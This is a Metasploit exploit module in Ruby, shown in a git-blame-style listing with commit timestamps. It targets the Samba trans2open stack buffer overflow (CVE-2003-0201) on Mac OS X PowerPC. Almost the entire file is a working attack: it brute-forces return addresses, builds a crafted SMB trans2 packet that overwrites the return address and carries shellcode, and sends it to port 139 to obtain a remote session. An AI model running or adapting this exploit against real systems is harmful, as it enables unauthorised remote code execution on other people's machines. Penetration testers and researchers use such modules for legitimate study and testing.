2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2006-02-03 03:31:41 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2006-02-03 03:31:41 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB
|
2006-02-03 03:31:41 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Samba trans2open Overflow (Mac OS X)',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploits the buffer overflow found in Samba versions
|
|
|
|
2.2.0 to 2.2.8. This particular module is capable of
|
|
|
|
exploiting the bug on Mac OS X PowerPC systems.
|
|
|
|
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2003-0201'],
|
2006-02-03 03:31:41 +00:00
|
|
|
[ 'OSVDB', '4469'],
|
2009-07-16 16:02:24 +00:00
|
|
|
[ 'BID', '7294'],
|
2006-02-03 03:31:41 +00:00
|
|
|
[ 'URL', 'http://www.digitaldefense.net/labs/advisories/DDI-1013.txt'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'MinNops' => 512,
|
|
|
|
|
|
|
|
},
|
|
|
|
'Platform' => 'osx',
|
|
|
|
'Arch' => ARCH_PPC,
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2006-02-04 21:04:50 +00:00
|
|
|
['Stack Brute Force', { 'Rets' => [0xbffffdfc, 0xbfa00000, 512] } ],
|
2006-02-03 03:31:41 +00:00
|
|
|
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Apr 7 2003',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(139)
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2006-09-18 00:30:29 +00:00
|
|
|
# Need to perform target detection
|
|
|
|
def autofilter
|
|
|
|
false
|
|
|
|
end
|
|
|
|
|
2006-02-03 03:31:41 +00:00
|
|
|
def exploit
|
|
|
|
curr_ret = target['Rets'][0]
|
|
|
|
while (curr_ret >= target['Rets'][1])
|
|
|
|
break if session_created?
|
|
|
|
begin
|
|
|
|
print_status("Trying return address 0x%.8x..." % curr_ret)
|
|
|
|
|
|
|
|
connect
|
|
|
|
smb_login
|
|
|
|
|
|
|
|
# 1988 is required for findrecv shellcode
|
2007-03-01 08:21:36 +00:00
|
|
|
pattern = rand_text_english(1988)
|
2006-02-03 03:31:41 +00:00
|
|
|
|
|
|
|
# This stream covers the framepointer and the return address
|
2006-02-04 21:04:50 +00:00
|
|
|
pattern[1195, 64] = [curr_ret].pack('N') * 16
|
2006-02-03 03:31:41 +00:00
|
|
|
|
|
|
|
# Stuff the shellcode into the request
|
|
|
|
pattern[3, payload.encoded.length] = payload.encoded
|
|
|
|
|
|
|
|
trans =
|
2006-02-04 21:04:50 +00:00
|
|
|
"\x00\x04\x08\x20\xff\x53\x4d\x42\x32\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"+
|
|
|
|
"\x64\x00\x00\x00\x00\xd0\x07\x0c\x00\xd0\x07\x0c\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\xd0\x07\x43\x00\x0c\x00\x14\x08\x01"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
|
|
|
|
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x90"+
|
|
|
|
pattern
|
2006-02-03 03:31:41 +00:00
|
|
|
|
|
|
|
sock.put(trans)
|
|
|
|
handler
|
|
|
|
disconnect
|
2006-02-04 20:40:25 +00:00
|
|
|
|
2006-02-03 03:31:41 +00:00
|
|
|
rescue EOFError
|
|
|
|
rescue => e
|
2008-12-19 07:11:08 +00:00
|
|
|
print_status("Caught exception: #{e}")
|
2006-02-03 03:31:41 +00:00
|
|
|
break
|
|
|
|
end
|
|
|
|
curr_ret -= target['Rets'][2]
|
|
|
|
end
|
|
|
|
end
|
2009-07-16 16:02:24 +00:00
|
|
|
end
|